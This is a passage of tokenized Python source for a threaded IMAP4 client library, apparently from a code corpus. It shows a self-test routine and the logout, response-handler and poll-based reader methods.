"Async", "hronous", ",", " ", "to", " ", "test", " ", "interrupt", "ion", " ", "of", " ", "'", "idle", "'", " ", "by", " ", "'", "noop", "'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "time_", "._", "sleep_", "(_", "1_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "run_", "(_", "'", "noop", "'_", ",_", "(_", ")_", ",_", "cb_", "=_", "False_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "run_", "(_", "'", "append", "'_", ",_", "(_", "None_", ",_", "None_", ",_", "None_", ",_", "test\\u", "mesg_", ")_", ",_", "cb_", "=_", "False_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "num_", "=_", "run_", "(_", "'", "search", "'_", ",_", "(_", "None_", ",_", "'", "ALL", "'_", ")_", ",_", "cb_", "=_", "False_", ")_", "[_", "0_", "]_", "._", "split_", "(_", ")_", "[_", "0_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "dat_", "=_", "run_", "(_", "'", "fetch", "'_", ",_", "(_", "num_", ",_", "'(", "FLAG", "S", " ", "INTERN", "AL", "DAT", "E", " ", "RF", "C8", "2", "2", ")'_", ")_", ",_", "cb_", "=_", "False_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "M_", "._", "\\u", "mesg_", "(_", "'", "fetch", " ", "%", "s", " ", "=>", " ", "%", "s", "'_", "%_", "(_", "num_", ",_", "repr_", "(_", "dat_", ")_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "run_", "(_", "'", "idle", "'_", ",_", "(_", "2_", ",_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "run_", "(_", "'", "store", "'_", ",_", "(_", "num_", ",_", "'-", "FLAG", "S", "'_", ",_", "'(\\\\", "Seen", ")'_", ")_", ",_", "cb_", "=_", "False_", ")_", ",_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "dat_", "=_", "run_", "(_", "'", "fetch", "'_", ",_", "(_", "num_", ",_", "'(", "FLAG", "S", " ", "INTERN", "AL", "DAT", "E", " ", "RF", "C8", "2", "2", ")'_", ")_", ",_", "cb_", "=_", "False_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "M_", "._", "\\u", "mesg_", "(_", "'", "fetch", " ", "%", "s", " ", "=>", " ", "%", "s", "'_", "%_", "(_", "num_", ",_", "repr_", "(_", "dat_", ")_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "run_", "(_", "'", "uid", "'_", ",_", "(_", "'", "STORE", "'_", ",_", "num_", ",_", "'", "FLAG", "S", "'_", ",_", "'(\\\\", "Delete", "d", ")'_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "run_", "(_", "'", "exp", "unge", "'_", ",_", "(_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "idle", "\\u", "intr", "_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "M_", "._", "\\u", "mesg_", "(_", "'", "HIT", " ", "CTR", "L", "-", "C", " ", "to", " ", "interrupt", " ", "IDLE", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", "_", "run_", "(_", "'", "idle", "'_", ",_", "(_", "99_", ",_", ")_", ",_", "cb_", "=_", "False_", ")_", "#", " ", "Synchro", "nous", ",", " ", "to", " ", "test", " ", "interrupt", "ion", " ", "of", " ", "'", "idle", "'", " ", "by", " ", "INT", "R_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", "Key", "board", "Interrupt_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", "_", "M_", "._", "\\u", "mesg_", "(_", "'", "Thanks", "!'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "M_", "._", "\\u", "mesg_", "(_", "''_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "raise_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "elif_", "idle", "\\u", "intr", "_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "M_", "._", "\\u", "mesg_", "(_", "'", "chosen", " ", "server", " ", "doe", "s", " ", "not", " ", "report", " ", "IDLE", " ", "capab", "ilit", "y", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "run_", "(_", "'", "logo", "ut", "'_", ",_", "(_", ")_", ",_", "cb_", "=_", "False_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "if_", "debug_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "M_", "._", "\\u", "mesg_", "(_", "''_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "M_", "._", "\\u", "print", "\\u", "log_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "M_", "._", "\\u", "mesg_", "(_", "''_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "M_", "._", "\\u", "mesg_", "(_", "'", "unu", "sed", " ", "unta", "gged", " ", "response", "s", " ", "in", " ", "order", ",", " ", "most", " ", "recent", " ", "last", ":'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "for_", "typ_", ",_", "dat_", "in_", "M_", "._", "pop", "\\u", "unta", "gged", "\\u", "responses_", "(_", ")_", ":_", "M_", "._", "\\u", "mesg_", "(_", "'\\\\", "t", "%", "s", " ", "%", "s", "'_", "%_", "(_", "typ_", ",_", "dat_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "print_", "(_", "'", "All", " ", "tests", " ", "OK", ".'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "if_", "not_", "idle", "\\u", "intr", "_", "or_", "M_", "is_", "None_", "or_", "not_", "'", "IDLE", "'_", "in_", "M_", "._", "capabilities_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "print_", "(_", "'", "Test", "s", " ", "fail", "ed", ".'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "if_", "not_", "debug_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "print_", "(_", "'''", "\\", "10", ";", "If", " ", "you", " ", "wou", "ld", " ", "like", " ", "to", " ", "see", " ", "debugg", "ing", " ", "output", ",", "\\", "10", ";", "try", ":", " ", "%", "s", " ", "-", "d5", "\\", "10", ";'", "''_", "%_", "sys_", "._", "argv_", "[_", "0_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "raise_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "[SEP]_", "class_", "IMAP", "4_", "(_", "object_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "logout_", "(_", "self_", ",_", "**_", "kw_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"(", "typ", ",", " ", "[", "data", "])", " ", "=", " ", "logo", "ut", "()", "\\", "10", ";", " ", " ", " ", " ", "Shut", "down", " ", "connecti", "on", " ", "to", " ", "server", ".", "\\", "10", ";", " ", " ", " ", " ", "Return", "s", " ", "server", " ", "'", "BY", "E", "'", " ", "response", ".", "\\", "10", ";", " ", " ", " ", " ", "NB", ":", " ", "You", " ", "must", " ", "call", " ", "this", " ", "to", " ", "shut", " ", "down", " ", "thread", "s", " ", "bef", "ore", " ", "discard", "ing", " ", "an", " ", "instance", ".\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "self_", "._", "state_", "=_", "LOGO", "UT_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "\\u\\u", "debug", "\\u\\u_", ":_", "self_", "._", "\\u", "log_", "(_", "1_", ",_", "'", "state", " ", "=>", " ", "LOGO", "UT", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "typ_", ",_", "dat_", "=_", "self_", "._", "\\u", "simple", "\\u", "command_", "(_", "'", "LOGO", "UT", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "typ_", ",_", "dat_", "=_", "'", "NO", "'_", ",_", "[_", "'%", "s", ":", " ", "%", "s", "'_", "%_", "sys_", "._", "exc", "\\u", "info_", "(_", ")_", "[_", ":_", "2_", "]_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "\\u\\u", "debug", "\\u\\u_", ":_", "self_", "._", "\\u", "log_", "(_", "1_", ",_", "dat_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "self_", "._", "\\u", "close", "\\u", "threads_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "finally_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "\\u", "release", "\\u", "state", "\\u", "change_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "\\u\\u", "debug", "\\u\\u_", ":_", "self_", "._", "\\u", "log_", "(_", "1_", ",_", "'", "connecti", "on", " ", "close", "d", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "bye", "_", "=_", "self_", "._", "\\u", "get", "\\u", "unta", "gged", "\\u", "response_", "(_", "'", "BY", "E", "'_", ",_", "leave_", "=_", "True_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "bye", "_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "typ_", ",_", "dat_", "=_", "'", "BY", "E", "'_", ",_", "bye", "_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "return_", "self_", "._", "\\u", "deliver", "\\u", "dat_", "(_", "typ_", ",_", "dat_", ",_", "kw_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "IMAP", "4_", "(_", "object_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "\\u", "handler_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "resp", "\\u", "timeout_", "=_", "self_", "._", "resp", "\\u", "timeout_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "threading_", "._", "current", "Thread_", "(_", ")_", "._", "set", "Name_", "(_", "self_", "._", "identifier_", "+_", "'", "handler", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "time_", "._", "sleep_", "(_", "0.1_", ")_", "#", " ", "Don", "'", "t", " ", "start", " ", "handling", " ", "bef", "ore", " ", "main", " ", "thread", " ", "ready_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "if_", "\\u\\u", "debug", "\\u\\u_", ":_", "self_", "._", "\\u", "log_", "(_", "1_", ",_", "'", "startin", "g", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "typ_", ",_", "val_", "=_", "self_", "._", "abort_", ",_", "'", "connecti", "on", " ", "terminate", "d", "'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "while_", "not_", "self_", "._", "Terminate", "_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "idle", "\\u", "lock_", "._", "acquire_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "self_", "._", "idle", "\\u", "timeout_", "is_", "not_", "None_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "timeout_", "=_", "self_", "._", "idle", "\\u", "timeout_", "-_", "time_", "._", "time_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "timeout_", "<=_", "0_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", "_", "timeout_", "=_", "1_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "\\u\\u", "debug", "\\u\\u_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", "_", "if_", "self_", "._", "idle", "\\u", "rq", "b_", "is_", "not_", "None_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", " _", "self_", "._", "\\u", "log_", "(_", "5_", ",_", "'", "server", " ", "ID", "LING", ",", " ", "timeo", "ut", "=", "%", ".2", "f", "'_", "%_", "timeout_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "timeout_", "=_", "resp", "\\u", "timeout_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "self_", "._", "idle", "\\u", "lock_", "._", "release_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "line_", "=_", "self_", "._", "in", "q_", "._", "get_", "(_", "True_", ",_", "timeout_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", "queue_", "._", "Empty_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "if_", "self_", "._", "idle", "\\u", "rq", "b_", "is_", "None_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", "_", "if_", "resp", "\\u", "timeout_", "is_", "not_", "None_", "and_", "self_", "._", "tagg", "ed", "\\u", "commands_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", " _", "if_", "\\u\\u", "debug", "\\u\\u_", ":_", "self_", "._", "\\u", "log_", "(_", "1_", ",_", "'", "response", " ", "timeo", "ut", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "typ_", ",_", "val_", "=_", "self_", "._", "abort_", ",_", "'", "no", " ", "response", " ", "after", " ", "%", "s", " ", "secs", "'_", "%_", "resp", "\\u", "timeout_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "break_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "continue_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "self_", "._", "idle", "\\u", "timeout_", ">_", "time_", "._", "time_", "(_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", "_", "continue_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "\\u\\u", "debug", "\\u\\u_", ":_", "self_", "._", "\\u", "log_", "(_", "2_", ",_", "'", "server", " ", "IDLE", " ", "timed", "out", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "line_", "=_", "IDLE", "\\u", "TIME", "OUT", "\\u", "RESPONSE_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "line_", "is_", "None_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "if_", "\\u\\u", "debug", "\\u\\u_", ":_", "self_", "._", "\\u", "log_", "(_", "1_", ",_", "'", "in", "q", " ", "Non", "e", " ", "-", " ", "termina", "ting", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "break_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "not_", "isinstance_", "(_", "line_", ",_", "bytes_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "typ_", ",_", "val_", "=_", "line_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "break_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "\\u", "put", "\\u", "response_", "(_", "line_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "typ_", ",_", "val_", "=_", "self_", "._", "error_", ",_", "'", "program", " ", "error", ":", " ", "%", "s", " ", "-", " ", "%", "s", "'_", "%_", "sys_", "._", "exc", "\\u", "info_", "(_", ")_", "[_", ":_", "2_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "break_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "self_", "._", "Terminate", "_", "=_", "True_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "if_", "\\u\\u", "debug", "\\u\\u_", ":_", "self_", "._", "\\u", "log_", "(_", "1_", ",_", "'", "termina", "ting", ":", " ", "%", "s", "'_", "%_", "repr_", "(_", "val_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "while_", "not_", "self_", "._", "ou", "q_", "._", "empty_", "(_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "qe", "l_", "=_", "self_", "._", "ou", "q_", "._", "get", "\\u", "nowait_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "qe", "l_", "is_", "not_", "None_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", "_", "qe", "l_", "._", "abort_", "(_", "typ_", ",_", "val_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", "queue_", "._", "Empty_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "break_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "self_", "._", "ou", "q_", "._", "put_", "(_", "None_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "self_", "._", "command", "s", "\\u", "lock_", "._", "acquire_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "for_", "name_", "in_", "list_", "(_", "self_", "._", "tagg", "ed", "\\u", "commands_", "._", "keys_", "(_", ")_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "rq", "b_", "=_", "self_", "._", "tagg", "ed", "\\u", "commands_", "._", "pop_", "(_", "name_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "rq", "b_", "._", "abort_", "(_", "typ_", ",_", "val_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "self_", "._", "state", "\\u", "change", "\\u", "free_", "._", "set_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "command", "s", "\\u", "lock_", "._", "release_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "\\u\\u", "debug", "\\u\\u_", ":_", "self_", "._", "\\u", "log_", "(_", "3_", ",_", "'", "state", "\\u", "change", "\\u", "free", ".", "set", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "if_", "\\u\\u", "debug", "\\u\\u_", ":_", "self_", "._", "\\u", "log_", "(_", "1_", ",_", "'", "finish", "ed", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "IMAP", "4_", "(_", "object_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "def_", "\\u", "reader_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "threading_", "._", "current", "Thread_", "(_", ")_", "._", "set", "Name_", "(_", "self_", "._", "identifier_", "+_", "'", "reader", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "if_", "\\u\\u", "debug", "\\u\\u_", ":_", "self_", "._", "\\u", "log_", "(_", "1_", ",_", "'", "startin", "g", " ", "usi", "ng", " ", "poll", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "def_", "poll", "\\u", "error_", "(_", "state_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "Poll", "Errors_", "=_", "{_", "\\u\\u\\uNL\\u\\u\\u_", "select_", "._", "POLL", "ERR_", ":_", "'", "Error", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "select_", "._", "POLL", "HU", "P_", ":_", "'", "Hang", " ", "up", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "select_", "._", "POLL", "NV", "AL_", ":_", "'", "Inva", "lid", " ", "request", ":", " ", "descrip", "tor", " ", "not", " ", "open", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "}_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "return_", "'", " ", "'_", "._", "join_", "(_", "[_", "Poll", "Errors_", "[_", "s_", "]_", "for_", "s_", "in_", "Poll", "Errors_", "._", "keys_", "(_", ")_", "if_", "(_", "s_", "&_", "state_", ")_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "line", "\\u", "part_", "=_", "b", "''_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "poll_", "=_", "select_", "._", "poll_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "poll_", "._", "register_", "(_", "self_", "._", "read", "\\u", "fd_", ",_", "select_", "._", "POLL", "IN_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "rx", "zero_", "=_", "0_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "terminate_", "=_", "False_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "read", "\\u", "poll", "\\u", "timeout_", "=_", "self_", "._", "read", "\\u", "poll", "\\u", "timeout_", "*_", "1000_", "#", " ", "poll", "()", " ", "timeo", "ut", " ", "is", " ", "in", " ", "millis", "ecs_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "while_", "not_", "(_", "terminate_", "or_", "self_", "._", "Terminate", "_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "if_", "self_", "._", "state_", "==_", "LOGO", "UT_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "timeout_", "=_", "10_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "timeout_", "=_", "read", "\\u", "poll", "\\u", "timeout_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "r_", "=_", "poll_", "._", "poll_", "(_", "timeout_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "\\u\\u", "debug", "\\u\\u_", ":_", "self_", "._", "\\u", "log_", "(_", "5_", ",_", "'", "poll", " ", "=>", " ", "%", "s", "'_", "%_", "repr_", "(_", "r_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "not_", "r_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", "_", "continue_", "#", " ", "Timeout_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "fd_", ",_", "state_", "=_", "r_", "[_", "0_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "if_", "state_", "&_", "select_", "._", "POLL", "IN_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", "_", "data_", "=_", "self_", "._", "read_", "(_", "self_", "._", "read", "\\u", "size_", ")_", "#", " ", "Drain", " ", "ssl", " ", "buffer", " ", "if", " ", "present_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "start_", "=_", "0_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "dle", "n_", "=_", "len_", "(_", "data_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "\\u\\u", "debug", "\\u\\u_", ":_", "self_", "._", "\\u", "log_", "(_", "5_", ",_", "'", "rcv", "d", " ", "%", "s", "'_", "%_", "dle", "n_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "dle", "n_", "==_", "0_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", " _", "rx", "zero_", "+=_", "1_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "rx", "zero_", ">_", "5_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", " _", "raise_", "IO", "Error_", "(_", 